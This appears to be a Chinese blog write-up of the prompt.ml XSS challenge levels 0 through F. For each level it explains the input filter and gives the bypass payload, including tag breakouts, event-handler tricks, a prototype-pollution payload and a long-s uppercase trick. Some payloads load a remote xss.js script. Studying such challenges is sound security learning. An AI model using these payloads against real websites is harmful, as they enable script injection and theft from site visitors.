0
无任何过滤,直接将输出拼接到HTML标签中
主要还是逃脱双引号。
1 | "><script>prompt(1)</script> |
先闭合前面的标签之后弹框。
1
这一关进行了一系列的正则过滤,我去查了下发现<article>
这个标签规定独立的自包含内容。也就是说其中的标签是可以解析的。
过滤可以看到我们是无法组成一个完整的<>
标签,但是html一般是比较松散的,在有的时候即使没有后面的闭合标签,代码也是可以运行的。
所以这里我使用的是dom性的
1 | <img src=1 onerror="prompt(1)" |
不能加上后面的写全,写全就或被过滤为空。
2
过滤了等号和括号,但是我们只需要让promopt(1)弹窗成功,我之前记得反引号可以代替()执行,我测试
1 | <script>alert`1`</script> |
成功弹窗了,但是prompt未能成功,以及在菜鸟教程中测试两者都可成功,不知道什么原因。
1 | paylode: <svg><script>prompt(1)</script> |
在svg标签中的实体,会被自动转义,然后执行。
3
看到这个过滤,发现是将用户输出放到了一个过滤中<!--
,同时又过滤了-->
这个对应的过滤符号,但是我发现--!>
这个标签也可以将这个注释进行闭合。
1 | --!><script>prompt(1)</script> |
4
本题利用的是@的特性进行远程访问服务器的js文件,构造的payload可以当做是以http://prompt.ml 作为身份验证去访问请求localhost/xss.js
1 | https://prompt.ml%2f@localhost/xss.js |
这个题我在Google先做的,没有成功,后来换到firefox成功了。
5
这个题目,过滤了>
号,就导致我们没有办法进行闭合前面的input标签,所以我们只能在这个标签中进行操做,我第一时间想到的就是事件,用事件去加载js,但是,它过滤了以onxxx=以及把focus替换为_,导致我们没法构成事件,然后查了下,发现type属性可以重构标签,让标签变成另一种格式,然后又因为js可以把代码多行写,同样执行,所以可以用回车,绕过事件的过滤
1 | "src=1 type=image onerror |
6
看了下这个题,我们发现他是让我们把数据放到url中,但是它这里并没有去过滤伪协议,javascript,所以我们可以尝试使用伪协议绕下。
1 | javascript:prompt(1)#{"action":1} |
action有这样的一个特性,如果前后都有action,访问action标签时访问的是后面的action的值。从而让表单能够提交上去。
7
第七关,是验证长度问题,这个本来是没啥办法的,但是它使用了#分割了我们的输入,从而一行行以标签的值显示出来,我们可以输入多个#让脚本在各行存在,然后通过注释符号进行注释中间的代码块,从而组成新的脚本。
1 | "><script>/*#*/prompt/*#*/(1)/*#*/</script> |
8
这题中主要是把我们的输入拼接到了双引号中,并且在前面加了注释,我们想要得到成功,只能逃脱出双引号,或者进入下一行,让注释自己失效。
1 | U+2028,是Unicode中的行分隔符 |
这两种都支持我们进入下一行。
在f12中的console中输入
1 | '\u2028prompt(1)\u2028-->' |
获取到之后,粘贴进去就可以了,这两个标签都可以,至于–>,可以让后面的js代码(本行)失效。
–>在js中可当注释使用(bypass过滤)
9
这题的过滤是把所有的字符转换为大写,这样js语句会无法执行,因为js对大小写敏感,而且他又把所有的标签第一个字符转义为了<_+字符,导致我们无法构成标签,从而无法让js执行。我原本的想法是通过插入一些奇怪的字符,也就是像s的字符,让浏览器将其解析为s从而绕过检测,但是不行,查了wp后发现原来是利用了 toUpperCase()不仅转换英文字母,也转换一些Unicode字符,把ſ
传入就可以转换为S
,这样就可以绕过。 但是还有大小写问题,不过我们可以加载远程的js脚本,url对于大小写是没影响的。
1 | <ſcript/ src="http://127.0.0.1/xss.js"></script > |
A
encodeURIComponent() 函数可把字符串作为 URI 组件进行编码。
该方法不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ‘ ( ) 。
其他字符(比如 :;/?:@&=+$,# 这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的。然后会识别prompt,将其转化为alert,但是这个题有一个很重要的问题,是他会把’替换为空,所以我们可以用单引号破坏prompt,这个和双写绕过很像。
1 | pro'mpt(1) |
B
这个题过滤了一堆特殊字符,然后把它拼接进去,最后使用document.write写到页面上。这个题,它使用的是in 运算符绕过
1 | "(prompt(1))instanceof" 或"(prompt(1))in" |
instanceof这个运算符用来判断某个构造函数的 prototype 属性所指向的对象是否存在于另外一个要检测对象的原型链上
简单说就是判断一个引用类型的变量具体是不是某种类型的对象
我在console中测试会返回一个ture或false然后产生弹框。所以用这个语句,可以先让代码执行,然后产生判断。
C
URL编码,过滤掉'
,用alert
替换掉prompt
,就是level A的两个过滤调换了顺序,所以不能运用那种方法绕过了,但是我们可以使用tostring函数绕过
parseInt(string, radix) 函数
parseInt() 函数可解析一个字符串,并返回一个整数。
当参数 radix 的值为 0,或没有设置该参数时,parseInt() 会根据 string 来判断数字的基数。
如果字符串的第一个字符不能被转换为数字,那么 parseInt() 会返回 NaN。
number.toString(radix)
数字的字符串表示。例如,当 radix 为 2 时,NumberObject 会被转换为二进制值表示的字符串。
所以可以用这两个函数,生成一个数字形式的prompt,然后运行。
1 | eval((867982141).toString(32))(1) |
D
1 | function escape(input) { |
JSON.parse()
函数要接受一个json格式的字符串返回json格式的对象,如果传入的参数已经是json格式则会抛出异常,传入的参数被解析成json格式,格式不对则直接返回Invalid image data.
,再经由extend()
函数处理,extend()
函数把默认值替换为指定的值后返回,然后是一个正则判断source对应的值中是否有不属于url的符号,有则删去这个值,将source属性删除
每个对象都会在其内部初始化一个属性,就是proto
,当我们访问对象的属性时,如果对象内部不存在这个属性,那么就会去proto里面找这个属性。
那么基本上就是构造{"source":"'","__proto__":{"source":"onerror=prompt(1)>"}}
,由于前面有非法字符'
,则会删除,这样就只能寻找我们的__proto__
里的属性了。最后我们注入的>
会闭合标签,导致后面的">
无用,但是我们的代码是注入到img标签中的,必须闭合前面的双引号才能执行我们的onerror属性,又因为“被过滤了。所以需要想办法绕过。
这样也就是说,我们可以使用$`匹配左侧的值,$’匹配右边的值
最后试了试不是很懂这个。
1 | {"source":"'","__proto__":{"source":"$`onerror=prompt(1)>"}} |
E
先小写转大写,然后将//
和字母换为data:
,再将\\
、&
、+
、%
和空白字符,vbs
替换为_
,所以不能内嵌编码后的字符,由于js大小写敏感,所以只能引用外部脚本。
看wp是用data伪协议绕过的。
1 | data:[<MIME type>][;charset=<charset>][;base64],<encoded data> |
character set(字符集)大多数被忽略,默认是charset=US-ASCII。如果指定是的数据格式是图片时,字符集将不再使用。
根据base64编码原理,可以根据字符集,凑一个全大写字母和数字=号的域名出来,然后再加载此文件。这个我搜的wp也不对。
F
这个题其实和第七题很像,都是根据#来分割的,然后放入各个标签中,但是这里我们的过滤被ban了,我们还有<!–,但这个是html注释,在html解析的时候才会生效,所以需要添加<svg>
标签来加载一次解析。
1 | "><svg><!--#--><script><!--#-->prompt<!--#-->(1)<!--#--></script> |